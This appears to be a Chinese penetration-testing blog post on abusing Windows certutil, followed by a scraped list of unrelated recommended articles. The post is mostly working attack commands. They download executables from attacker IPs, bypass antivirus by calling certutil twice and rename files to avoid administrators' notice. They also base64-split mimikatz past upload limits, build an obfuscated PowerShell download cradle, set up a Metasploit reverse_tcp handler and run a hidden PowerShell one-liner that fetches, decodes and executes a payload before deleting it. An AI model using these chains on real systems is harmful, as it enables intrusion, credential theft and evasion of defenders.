原文链接:https://xz.aliyun.com/t/9737#toc-4

关于certutil的探究

​ 茶寂messi996 / 2021-06-21 22:46:33 / 浏览数 4101 社区板块 渗透测试 [ 顶(0)](javascript:) [ 踩(0)](javascript:)


何为certutil

certutil.exe 是一个合法Windows文件,用于管理Windows证书的程序。

微软官方是这样对它解释的:

Certutil.exe是一个命令行程序,作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。

但是此合法Windows服务现已被广泛滥用于恶意用途。

渗透中主要利用其 下载编码解码替代数据流 等功能。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-201olcVw-1675146209627)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152034-83510822-ca85-1.png)]

这里我首先在命令行用certutil -?查看一下certutil所有的参数,这里只截图了一部分,接下来就总结一下最常用的几个关于certutil在内网渗透中的应用。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tYmWHbPg-1675146209627)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152036-849df9a6-ca85-1.png)]

certutil下载文件

一般我最常使用的certutil的功能就是在cmd环境下下载文件,因为certutil是windows自带的exe,所以在使用的时候会比其他exe或者vbs更加方便。但是因为在下载文件的过程中也会创建进程,所以也遭到了各大杀软的拦截。

一般使用certutil下载文件的命令为

certutil -urlcache -split -f http://ip/artifact.exe

这里介绍一下参数

  • -f
    覆盖现有文件。
    有值的命令行选项。后面跟要下载的文件 url。
  • -split
    保存到文件。
    无值的命令行选项。加了的话就可以下载到当前路径,不加就下载到了默认路径。
  • -URLCache
    显示或删除URL缓存条目。
    无值的命令行选项。
    (certutil.exe 下载有个弊端,它的每一次下载都有留有缓存。)

这里我在本地搭建一个http服务器,然后在配置了360的虚拟机cmd下进行下载

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oUKwNGvc-1675146209627)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152037-853a2a74-ca85-1.png)]

这里我为了更好的还原环境,先与虚拟机建立ipc连接后用psexec得到了命令行的cmd环境

这里我用常规的命令进行下载exe文件的操作遭到了av的拦截

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kmlJ4roj-1675146209627)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152040-86eef660-ca85-1.png)]

如果超时没有操作的话就会显示拒绝访问

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-d15DA2d2-1675146209627)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152041-87996a5a-ca85-1.png)]

这里有两种方法对杀软进行certutil下载绕过,本质都是执行两次certutil

第一种方法是先执行一个单独的certutil,然后再执行下载exe的命令,可以看到这里已经能够成功下载

certutilcertutil -urlcache -split -f http://ip/artifact.exe

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QzOqDDUW-1675146209627)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152043-888ba748-ca85-1.png)]

另外一种方法就是使用windows自带的分隔符&|,本质上跟第一种方法一样,相当于执行了两次certutil

certutil & certutil -urlcache -split -f http://ip/artifact.execertutil | certutil -urlcache -split -f http://ip/artifact.exe

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1ebHIjj8-1675146209628)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152045-89ab7f36-ca85-1.png)]

这里也可以进行文件的重命名,如果你觉得这个文件名太过于明显容易被管理员发现就可以在下载的时候使用自己设置的名字生成exe

certutil & certutil -urlcache -split -f http://172.20.10.4:8000/artifact.exe nice.exe

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Od5bPyJQ-1675146209628)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152047-8ae9c4ca-ca85-1.png)]

使用certutil下载文件有个弊端就是会产生缓存文件,用如下命令查看:

certutil -urlcache *

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HFNlQuTA-1675146209628)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152049-8c001e0e-ca85-1.png)]

执行删除缓存

certutil -urlcache * delete

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fNOw9yrr-1675146209628)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152052-8ddf1d7e-ca85-1.png)]

这里如果嫌麻烦的话可以在下载文件的时候加上一个delete参数,这样就省去了后面再来清理缓存的麻烦

certutil & certutil -urlcache -split -f http://172.20.10.4:8000/artifact.exe delete

certutil base64加解密

之前在实战中就碰到过需要进行内网穿透的时候,代理软件上传不到靶机的情况

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dI7i4TiJ-1675146209629)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152053-8e63f40e-ca85-1.png)]

这里我上传图片测试能够上传成功

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-16QnuEE1-1675146209629)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152054-8ed30c4a-ca85-1.png)]

本地也能够下载下来,但是就是到靶机上下载不下来,这里我判断应该是有av对上传文件大小进行了限制。这时候就可以使用certutilencodedecode进行加解密。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-G4poEtje-1675146209629)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152055-8f7e2f58-ca85-1.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lpzgBTSM-1675146209630)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152056-9018e1f6-ca85-1.png)]

certutil在内网渗透中进行base64编码是比较常用的。我们知道在内网中需要用到内网代理,一般都会用到nps或者frp,但是如果碰到有杀软限制上传文件大小的情况,这时候我们就可以使用先用encode编码分块上传再使用decode解密。

使用encode进行base64编码,然而大小还变大了,这里就可以考虑分成多块传输后再进行整合

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LcCGtHCj-1675146209630)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152057-90c9d344-ca85-1.png)]

这里我查看了一下生成的mimikatz.txt有2.7w行,所以这里我将其拆分为三块,这里顺便说一下快速选择大文件的指定行的操作

在notepad++编辑里面点击开始/结束选择,光标会定位到第一行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pptUh4r3-1675146209630)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152058-9174e43c-ca85-1.png)]

再使用ctrl + g切换到行定位,选择要选中的行,因为这里我拆分成3块,所以这里我选择的是第10000行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9XOkVBjn-1675146209630)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152059-91ed8dce-ca85-1.png)]

再到编辑里面点一下开始/结束选择即可选中

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rAL6WfkX-1675146209630)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152100-928afc94-ca85-1.png)]

这里我把mimikatz.txt拆分成了三个txt进行上传

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Rqn10NBw-1675146209631)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152101-92f7182a-ca85-1.png)]

上传到靶机的C盘目录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LBuVimQC-1675146209631)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152101-936f7644-ca85-1.png)]

这里先把3个txt合并为一个txtmimikatz.txt

copy c:\*txt c:\mimikatz.txt    //把c盘根目录下的所有txt合并为mimikatz.txt

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8BQfLvfT-1675146209631)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152102-94073f10-ca85-1.png)]

然后再使用certutil-decode参数进行解密,生成mimikatz.exe

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gfEeLmxD-1675146209631)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152104-94de226e-ca85-1.png)]

运行一下看看已经合并成功了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nGcfu0yC-1675146209631)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152105-95c0508a-ca85-1.png)]

certutil 校验hash值

有些时候官方网站的软件因为一些原因下架的情况下,我们就只能从一些非官方网站下载,而官方通常会把软件的hash值(一般是SHA256)公布出来,这时候我们就可以用certutil校验hash值的功能来检验一个软件是否被其他人修改过。拿原始软件的hash值和现在软件的hash进行比对,使用certutil获取hash值

certutil -hashfile mimikatz.exe MD5 //检验MD5certutil -hashfile mimikatz.exe SHA1 //检验SHA1certutil -hashfile mimikatz.exe SHA256 //检验SHA256

这里比较上传前后mimikatz.exe的MD5值

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZYVyJDaU-1675146209631)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152106-965a9280-ca85-1.png)]

certutil配合powershell内存加载

这里我在本地实验因为环境变量的原因报错,之前在虚拟机实验的时候又忘记截图了,这里还是粗略的写一下大致实现过程

首先修改powershell策略为可执行脚本

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-58Q7Frdu-1675146209632)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152107-96f3d710-ca85-1.png)]

下载powershell混淆框架并执行

Import-Module .\Invoke-CradleCrafter.ps1Invoke-CradleCrafter

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BYIlbzHD-1675146209632)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152108-978ddcf2-ca85-1.png)]

使用msf生成一个payload,在本地起一个http服务器,放到http服务器的目录下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gETWwep6-1675146209632)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152109-984ad17c-ca85-1.png)]

设置url为http服务器目录

set URL http://172.20.10.4:8000/key.txt

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CcUSTJYX-1675146209632)(https://xzfile.aliyuncs.com/media/upload/picture/20210611152110-98d678ee-ca85-1.png)]

使用以下几个命令进行初始化

Invoke-CradleCrafter> MEMORYChoose one of the below Memory options:[*] MEMORY\PSWEBSTRING          PS Net.WebClient + DownloadString method
[*] MEMORY\PSWEBDATA            PS Net.WebClient + DownloadData method
[*] MEMORY\PSWEBOPENREAD        PS Net.WebClient + OpenRead method
[*] MEMORY\NETWEBSTRING         .NET [Net.WebClient] + DownloadString method (PS3.0+)
[*] MEMORY\NETWEBDATA           .NET [Net.WebClient] + DownloadData method (PS3.0+)
[*] MEMORY\NETWEBOPENREAD       .NET [Net.WebClient] + OpenRead method (PS3.0+)
[*] MEMORY\PSWEBREQUEST         PS Invoke-WebRequest/IWR (PS3.0+)
[*] MEMORY\PSRESTMETHOD         PS Invoke-RestMethod/IRM (PS3.0+)
[*] MEMORY\NETWEBREQUEST        .NET [Net.HttpWebRequest] class
[*] MEMORY\PSSENDKEYS           PS SendKeys class + Notepad (for the lulz)
[*] MEMORY\PSCOMWORD            PS COM object + WinWord.exe
[*] MEMORY\PSCOMEXCEL           PS COM object + Excel.exe
[*] MEMORY\PSCOMIE              PS COM object + Iexplore.exe
[*] MEMORY\PSCOMMSXML           PS COM object + MsXml2.ServerXmlHttp
[*] MEMORY\PSINLINECSHARP       PS Add-Type + Inline CSharp
[*] MEMORY\PSCOMPILEDCSHARP     .NET [Reflection.Assembly]::Load Pre-Compiled CSharp
[*] MEMORY\CERTUTIL             Certutil.exe + -ping ArgumentInvoke-CradleCrafter\Memory> CERTUTIL[*] Name          :: Certutil
[*] Description   :: PowerShell leveraging certutil.exe to download payload as string
[*] Compatibility :: PS 2.0+
[*] Dependencies  :: Certutil.exe
[*] Footprint     :: Entirely memory-based
[*] Indicators    :: powershell.exe spawns certutil.exe certutil.exe
[*] Artifacts     :: C:\Windows\Prefetch\CERTUTIL.EXE-********.pf AppCompat CacheInvoke-CradleCrafter\Memory\Certutil> ALLChoose one of the below Memory\Certutil\All options to APPLY to current cradle:[*] MEMORY\CERTUTIL\ALL\1       Execute ALL Token obfuscation techniques (random order)

到这里应该会显示如下代码

Invoke-CradleCrafter\Memory\Certutil\All> 1Executed:CLI:  Memory\Certutil\All\1FULL: Out-Cradle -Url 'http://172.20.10.4/key.txt' -Cradle 17 -TokenArray @('All',1)Result:
SV 1O6 'http://172.20.10.4/key.txt';.(Get-Command *ke-*pr*) ((C:\Windows\System32\certutil /ping (Get-Item Variable:\1O6).Value|&(Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand.PsObject.Methods|?{(Get-Variable _ -ValueOn).Name-ilike'*and'}).Name).Invoke((Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand|GM|?{(Get-Variable _ -ValueOn).Name-ilike'*Com*e'}).Name).Invoke('*el*-O*',$TRUE,1),[Management.Automation.CommandTypes]::Cmdlet)-Skip 2|&(Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand.PsObject.Methods|?{(Get-Variable _ -ValueOn).Name-ilike'*and'}).Name).Invoke((Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand|GM|?{(Get-Variable _ -ValueOn).Name-ilike'*Com*e'}).Name).Invoke('*el*-O*',$TRUE,1),[Management.Automation.CommandTypes]::Cmdlet)-SkipLa 1)-Join"`r`n")Choose one of the below Memory\Certutil\All options to APPLY to current cradle:[*] MEMORY\CERTUTIL\ALL\1       Execute ALL Token obfuscation techniques (random order)

将混淆的代码保存到本地为crt.txtcertutil进行encode加密

certutil -encode crt.txt crt.cer

cer.cet放入http服务器目录下,使用msf开启监听

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.10.11
lhost => 192.168.10.11
msf6 exploit(multi/handler) > set lport 8888
lport => 8888
msf6 exploit(multi/handler) > run

然后靶机执行如下命令即可获得反弹session

powershell.exe ‐Win hiddeN ‐Exec ByPasS add‐content ‐path %APPDATA%\crt.cer (New‐Object Net.WebClient).DownloadString('http://172.20.10.4/crt.cer'); certutil ‐decode %APPDATA%\crt.cer %APPDATA%\stage.ps1 & start /b c
md /c powershell.exe ‐Exec Bypass ‐NoExit ‐File %APPDATA%\stage.ps1 & start /b cmd /c del %APPDATA%\crt.cer

关于certutil + powershell的实战食用方法这里推荐Y4er师傅的一篇文章:
极限环境使用certutil+PowerShell配合Burp快速落地文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DftjEd1H-1675146209632)(https://xzfile.aliyuncs.com/media/upload/picture/20220307152549-cff96bde-9de7-1.png)]

关于certutil的探究相关推荐

  1. 吴恩达《深度学习》第四门课(2)卷积神经网络:实例探究

    2.1为什么要进行实例探究 (1)就跟学编程一样,先看看别人怎么写的,可以模仿. (2)在计算机视觉中一个有用的模型,,用在另一个业务中也一般有效,所以可以借鉴. (3)本周会介绍的一些卷积方面的经典 ...

  2. 异步编程之Promise(2):探究原理

    异步编程系列教程: (翻译)异步编程之Promise(1)--初见魅力 异步编程之Promise(2):探究原理 异步编程之Promise(3):拓展进阶 异步编程之Generator(1)--领略魅 ...

  3. Lucene.net中文分词探究

    一.中文分词方式: 中文分词几种常用的方式: A. 单字分词 单字分词,顾名思义,就是按照中文一个字一个字地进行分词.如:我们是中国人,效果:我/们/是/中/国/人. B. 二分法 二分法,就是按两个 ...

  4. 查询在应用程序运行得很慢, 但在SSMS运行得很快的原因探究

    原文:查询在应用程序运行得很慢, 但在SSMS运行得很快的原因探究 查询在应用程序运行得很慢, 但在SSMS运行得很快的原因探究 -理解性能疑点 1      引言 内容来自http://www.so ...

  5. Windows自带certutil工具校验用法

    windows自带校验工具certutil,记录用法如下. certutil -hashfile <file> MD5 certutil -hashfile <file> SH ...

  6. 中文NLP的分词真有必要吗?李纪为团队四项任务评测一探究竟 | ACL 2019

    作者| Yuxian Meng.Xiaoya Li.Xiaofei Sun.Qinghong Han.Arianna Yuan. Jiwei Li 译者 | Rachel 责编 | Jane 出品 | ...

  7. 聚类分析案例:探究用户对物品类别的喜好细分降维

    聚类分析案例:探究用户对物品类别的喜好细分降维 数据如下: order_products__prior.csv:订单与商品信息 字段:order_id, product_id, add_to_cart ...

  8. 如何优化计算机网络课程,计算机论文:探究如何优化计算机网络课程教学方法.docx...

    计算机论文:探究如何优化计算机网络课程教学方法 一.引言 计算机网络的飞速发展不但加速了全球信息化的进程,也使我们的生活方式发生了深刻的变革.我们正处在一个数字化.网络化.信息化的时代,网络已经成为经 ...

  9. 求数的绝对值一定是正数_「口袋数学」绝对值的几何意义探究及应用,培优课程...

    哈喽,大家好!我们又见面了,欢迎继续关注[轩爸辅导]的[口袋数学].日更[每日一学][每日一练],帮助孩子日积月累,考出好的成绩.配套辅导,哪里不会学哪里,哪里出错练哪里,帮助孩子提高效率. 从数轴上 ...

最新文章

  1. 利用ES6进行Promise封装总结
  2. 心态很容易受别人影响_心理学:为什么我越来越容易被别人和环境影响
  3. 问题集锦(36-40)
  4. H264编码之GOP含义
  5. linux怎么挂载第二块硬盘分区,linux下挂载第二块已有linux分区的硬盘,要读取从硬盘的文件,应该怎么打开第二块硬盘?...
  6. vb计算机水平考试笔试,2014计算机考试二级VB笔试答题技巧汇总
  7. 20行代码AC_ 习题8-1 Bin Packing UVA - 1149(贪心+简单二分解析)
  8. npm script 的实践
  9. CF961G Partitions
  10. 迅为工业级iMX6Q开发板全新升级兼容PLUS版本|四核商业级|工业级|双核商业级...
  11. Storm0.9.4安装 - OPEN 开发经验库
  12. 第六次会议(4.15)
  13. 行内元素中的非替换行内元素和替换行内元素
  14. iOS设计模式-适配器
  15. “父亲项目”走进澳洲校园 助父子建立联系
  16. 那些年开发中遇到的坑。。。
  17. 学flash就丢人吗?
  18. MySQL给查询结果添加一表表示行号或名次(1)
  19. 能源消耗总量计算公式_电力消耗占比计算公式
  20. JBoss中间件漏洞总结

热门文章

  1. JAVA计算机毕业设计网上购物商城(附源码、数据库)
  2. 网页Flash代码相关【摘自蓝色经典论坛】
  3. Thingsboard的本地编译与运行详细说明
  4. 编译报错file format not recognized; treating as linker script
  5. 四年级下册计算机应用答案,四年级下册信息技术教案
  6. vue-router路由模式详解
  7. 大一 Java 课程设计实践 - 迷你版画图板(附源代码和设计文档)
  8. Golang并发操作入门
  9. 计算机考试水平考试准考证号
  10. Unity隐藏或显示鼠标